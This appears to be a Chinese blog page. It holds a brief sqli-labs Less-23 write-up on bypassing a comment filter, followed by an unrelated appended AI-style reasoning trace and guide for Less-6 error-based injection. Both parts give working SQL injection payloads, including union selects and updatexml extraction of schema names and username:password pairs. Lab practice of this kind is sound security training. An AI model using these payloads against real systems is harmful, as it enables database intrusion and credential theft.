sqli-labs第二十三关(注释过滤绕过)

本文介绍了如何利用SQL注入技巧,避开源码中的注释过滤机制,成功获取数据库名,并进一步演示了爆库和字段信息获取的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述
从源码可知此关将注释符全部过滤掉,需要绕过,使用and ‘1’='1即可
在这里插入图片描述

http://localhost:90/sqli-labs-master/Less-23/?id=-1'  union select 111,(select group_concat(schema_name)from information_schema.schemata),3 or '1'='1

这关没什么可说的直接爆库名,接下来爆表,字段啥的就不再演示,此关结束

<think>好的,我现在需要解决SQLi-Labs第六的报错注入问题。首先,我应该回忆一下第六的基本情况。根据用户提供的引用内容,第六是基于GET提交的双引号闭合的报错注入。之前第五是单引号闭合,而第六可能换成了双引号,所以闭合方式不同。 接下来,我需要确定注入点。用户提到的第六需要判断注入点是否正确。通常,我会先尝试在参数后添加一个双引号,看是否引发数据库报错。比如,访问?id=1",如果页面返回语法错误,说明可能存在双引号闭合的漏洞。根据引用[5],第六确实是双引号闭合,所以这一步应该是正确的。 然后,我需要确认报错注入的方式。常见的报错函数有updatexml()、extractvalue()等。比如在第五使用了updatexml,如引用[4]中的示例:?id=1' and updatexml(...)。但第六是双引号闭合,所以闭合方式应该是"而不是'。因此,构造payload时需要用双引号闭合,并注释掉后面的部分。例如:?id=1" and updatexml(...) --+。这里要注意注释的使用,可能用%23(#的URL编码)或者--+来注释。 接下来是获取数据。假设已经确认注入点,接下来需要构造查询来获取数据库信息。例如,获取当前用户,可以使用:?id=1" and updatexml(1, concat(0x7e, (select user()), 0x7e), 1)--+。这里的0x7e是波浪号~的十六进制,用于分割结果,使报错信息中显示查询内容。根据引用[4],类似的payload在第五有效,第六应该类似,只是闭合方式不同。 但需要处理数据截断的问题,因为updatexml报错只能返回32位长度,所以如果查询结果较长,可能需要用substring或limit分次获取。例如,获取数据库名:?id=1" and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)--+。然后继续获取表名、字段名等。 另外,根据引用[3],第八没有报错信息,但第六可能有报错回显,所以可以依赖报错信息来提取数据。如果遇到无回显的情况,可能需要时间盲注或其他方法,但第六应该支持报错注入。 还需要注意用户提到的引用[5]中的通思路,包括判断注入点和payload构造。例如,在第六中,闭合是双引号,所以参数应该是"加上注入语句,然后注释掉剩余部分。比如:?id=1" and (payload)--+。 总结步骤:1. 确认注入点为双引号闭合;2. 使用报错函数如updatexml构造payload;3. 逐步获取数据库信息,处理截断;4. 最终获取目标数据如用户名、密码等。 可能存在的问题:是否双引号闭合需要验证,或者是否有其他过滤措施?比如,是否存在对某些键字的过滤,是否需要绕过。根据用户提供的引用,第六似乎没有提到过滤,所以可能直接使用报错注入即可。 另外,注意语法正确性,比如闭合双引号后是否需要平衡括号,或者是否存在转义字的问题。例如,在双引号闭合后,后面的语句需要用注释注释掉原SQL的剩余部分,避免语法错误。 测试payload时,需要确保拼接后的SQL语句正确。例如,原语句可能是SELECT ... FROM ... WHERE id="输入" LIMIT 0,1。当输入为1" and updatexml(...) --+时,整个语句变为WHERE id="1" and updatexml(...) --+" LIMIT 0,1,这样注释注释掉后面的双引号和LIMIT部分,避免语法错误。 如果报错信息显示语法错误,可能需要调整闭合方式或注释的使用。例如,使用%23代替--+,因为有时URL中的+会被解码为空格,而%23是#的编码,注释效果更可靠。 最后,根据步骤逐步获取所需数据,可能需要多次注入,每次获取部分信息,直到得到完整的数据库内容。</think>### SQLi-Labs 第六报错注入解决方案 #### 1. 确认注入点与闭合方式 第六为**双引号闭合**的报错注入。通过以下步骤验证: - 输入 `?id=1"`,若页面返回语法错误(如引用[2]所示),则确认闭合方式为双引号。 - 示例报错:`You have an error in your SQL syntax... near '"1"" LIMIT 0,1'`[^2]。 #### 2. 构造报错注入Payload 使用 `updatexml()` 函数触发报错并回显数据: ```sql ?id=1" and updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)--+ ``` - **键点**: - `0x7e` 为 `~` 号的十六进制,用于分隔报错内容。 - `--+` 或 `%23` 用于注释后续SQL语句(如 `LIMIT 0,1`)[^4][^5]。 #### 3. 分步获取数据 ##### (1) 获取数据库名 ```sql ?id=1" and updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)--+ ``` 报错回显示例:`XPATH syntax error: '~security~'`,表明当前数据库为 `security`[^1]。 ##### (2) 获取表名 ```sql ?id=1" and updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)), 0x7e), 1)--+ ``` - 调整 `LIMIT` 参数遍历所有表(如 `emails`, `users` 等)。 ##### (3) 获取字段名(以 `users` 表为例) ```sql ?id=1" and updatexml(1, concat(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1), 0x7e), 1)--+ ``` - 遍历 `LIMIT` 获取字段名(如 `id`, `username`, `password`)。 ##### (4) 提取数据(以 `username` 和 `password` 为例) ```sql ?id=1" and updatexml(1, concat(0x7e, (SELECT concat(username, ':', password) FROM users LIMIT 0,1), 0x7e), 1)--+ ``` - 报错截断处理:若结果过长,使用 `substr()` 分段获取: ```sql ?id=1" and updatexml(1, concat(0x7e, substr((SELECT password FROM users LIMIT 0,1), 1, 20), 0x7e), 1)--+ ``` #### 4. 绕过长度限制的技巧 - 使用 `mid()` 或 `substr()` 分段读取字段值。 - 示例: ```sql ?id=1" and updatexml(1, concat(0x7e, mid((SELECT group_concat(username) FROM users), 1, 30), 0x7e), 1)--+ ``` #### 5. 注意事项 1. **闭合完整性**:确保双引号闭合后通过注释 `--+` 或 `%23` 截断原SQL语句。 2. **错误处理**:若报错信息不完整,调整 `concat()` 参数或使用 `offset` 跳过已获取的数据。 3. **编码问题**:特殊字需URL编码(如空格用 `%20`, `#` 用 `%23`)。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值